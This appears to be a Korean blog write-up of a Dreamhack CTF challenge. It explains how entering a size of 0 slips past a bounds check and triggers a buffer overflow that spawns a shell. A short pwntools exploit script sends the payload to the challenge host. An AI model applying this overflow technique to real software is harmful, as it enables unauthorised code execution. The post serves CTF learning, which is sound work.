728x90
이론적 기반은 아주 간단하다
Type Error라는 간단한 취약점에 의거하고 있는데
이는 개발자가 기본적으로 선택해주는 변수 크기에서 나오는 취약점이라고 할 수 있다 컴파일러는 개발자가 정해준 변수 크기를 따라서 메모리를 불러다가 계산하는데 만약 더해진 값이든 조작한 값이든 그 값이 그 크기 자체를 벗어나게 되면 값이 적어지든 커지든 하는 문제가 발생할 수 있다
이 문제는 버퍼 오버플로우를 일으키면 flag를 주겠다고 간단한 요구를 하고 있다 signal(SIGSEGV, get_shell);
그런데 밑에 보니
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
이런 식으로 나름 버퍼 오버플로우를 감지하려 하고 있다
size 변수에 숫자 0을 입력하면 이 감지를 통과할 수 있고
버퍼 오버플로우를 유도할 수 있다
from pwn import *
p = remote("host1.dreamhack.games", 8910)
payload = 'A' * 300
p.sendlineafter("Size: ", "0")
p.sendlineafter("Data: ", payload)
p.interactive()
728x90
'호그와트' 카테고리의 다른 글
드림핵 mango 쉬워요 (0) | 2022.04.06 |
---|---|
드림핵 spring view (0) | 2022.04.06 |
대나무숲 1 돌파 (0) | 2022.02.28 |
Dreamhack login-1 (0) | 2022.02.24 |
extract company (0) | 2022.02.24 |